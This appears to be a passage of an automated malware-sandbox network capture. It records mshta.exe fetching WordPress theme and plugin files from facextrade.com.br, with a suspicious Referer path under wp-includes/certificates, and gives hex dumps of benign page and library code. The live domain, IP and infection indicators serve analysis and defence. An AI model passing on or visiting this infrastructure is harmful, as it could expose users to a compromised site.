55 52 49 3a 20 68 74 74 70 3a 2f 2f 0a 09 54 65 78 74 20 44 6f 6d 61 69 6e 3a 20 63 68 65 72 72 79 0a 2a 2f 0a 40 69 6d 70 6f 72 74 20 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3b 0a
                                                                                      Data Ascii: /*Theme Name: cherryTheme URI: //info.template-help.com/help/Description: A theme for Wordpress 3.8.xAuthor: Template_Help.comAuthor URI: //info.template-help.com/help/Version: 3.1.5.1Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-readyLicense:License URI: http://Text Domain: cherry*/@import "css/style.css";
                                                                                      Aug 16, 2022 11:39:37.930402994 CEST2091OUTGET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:39.052221060 CEST2100INHTTP/1.1 404 Not Found
                                                                                      Date: Tue, 16 Aug 2022 09:39:38 GMT
                                                                                      Server: Apache
                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                      Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                      X-Varnish: 15075246
                                                                                      Age: 0
                                                                                      Via: 1.1 varnish-v4
                                                                                      Transfer-Encoding: chunked
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74
                                                                                      Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
                                                                                      Aug 16, 2022 11:39:39.052263021 CEST2101INData Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f
                                                                                      Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
                                                                                      Aug 16, 2022 11:39:39.052284956 CEST2102INData Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75
                                                                                      Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
                                                                                      Aug 16, 2022 11:39:39.052304029 CEST2103INData Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31
                                                                                      Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
                                                                                      Aug 16, 2022 11:39:39.052325010 CEST2104INData Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72
                                                                                      Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1
                                                                                      Aug 16, 2022 11:39:39.052346945 CEST2106INData Raw: 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69
                                                                                      Data Ascii: ont-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' />
                                                                                      Aug 16, 2022 11:39:39.052419901 CEST2107INData Raw: 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f
                                                                                      Data Ascii: .css?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='
                                                                                      Aug 16, 2022 11:39:39.052437067 CEST2107INData Raw: 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65
                                                                                      Data Ascii: avascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                                                      Aug 16, 2022 11:39:39.060295105 CEST2109INData Raw: 30 30 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c
                                                                                      Data Ascii: 00107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      23192.168.2.349769187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:39.290957928 CEST2147OUTGET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:39.526433945 CEST2157INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:12 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a51459-15f88-5c93d38d98e41"
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT
                                                                                      Content-Length: 89992
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395056 20579355
                                                                                      Age: 147
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f
                                                                                      Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE *//** * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes */;(function($, window, document, undefined) {/** * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options */function Owl(element, options) {/** * Current settings for the carousel. * @public */this.settings = null;/** * Current options set by the caller including defaults. * @public */this.options = $.extend({}, O
                                                                                      Aug 16, 2022 11:39:39.526458979 CEST2158INData Raw: 77 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d
                                                                                      Data Ascii: wl.Defaults, options);/** * Plugin element. * @public */this.$element = $(element);/** * Proxied event handlers. * @protected */this._handlers = {};/** * References to the running plugins of this carousel
                                                                                      Aug 16, 2022 11:39:39.526483059 CEST2159INData Raw: 65 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20
                                                                                      Data Ascii: ected */this._invalidated = {};/** * Ordered list of workers for the update process. * @protected */this._pipe = [];/** * Current state information for the drag operation. * @todo #261 * @protected */th
                                                                                      Aug 16, 2022 11:39:39.526556969 CEST2161INData Raw: 20 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65
                                                                                      Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsiv
                                                                                      Aug 16, 2022 11:39:39.526582003 CEST2162INData Raw: 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f
                                                                                      Data Ascii: ', 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fi
                                                                                      Aug 16, 2022 11:39:39.526607037 CEST2163INData Raw: 09 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70
                                                                                      Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &
                                                                                      Aug 16, 2022 11:39:39.526632071 CEST2165INData Raw: 6f 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09
                                                                                      Data Ascii: oordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coor
                                                                                      Aug 16, 2022 11:39:39.526655912 CEST2166INData Raw: 2e 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72
                                                                                      Data Ascii: ._current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
                                                                                      Aug 16, 2022 11:39:39.526761055 CEST2168INData Raw: 3c 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29
                                                                                      Data Ascii: <' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
                                                                                      Aug 16, 2022 11:39:39.526803017 CEST2169INData Raw: 65 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73
                                                                                      Data Ascii: ent.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWid
                                                                                      Aug 16, 2022 11:39:39.766571999 CEST2175INData Raw: 09 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f
                                                                                      Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding
                                                                                      Aug 16, 2022 11:39:40.006095886 CEST2263OUTGET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:40.238560915 CEST2276INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:15 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53560-301a-58592d4b67500"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT
                                                                                      Content-Length: 12314
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 22395058 18314945
                                                                                      Age: 145
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 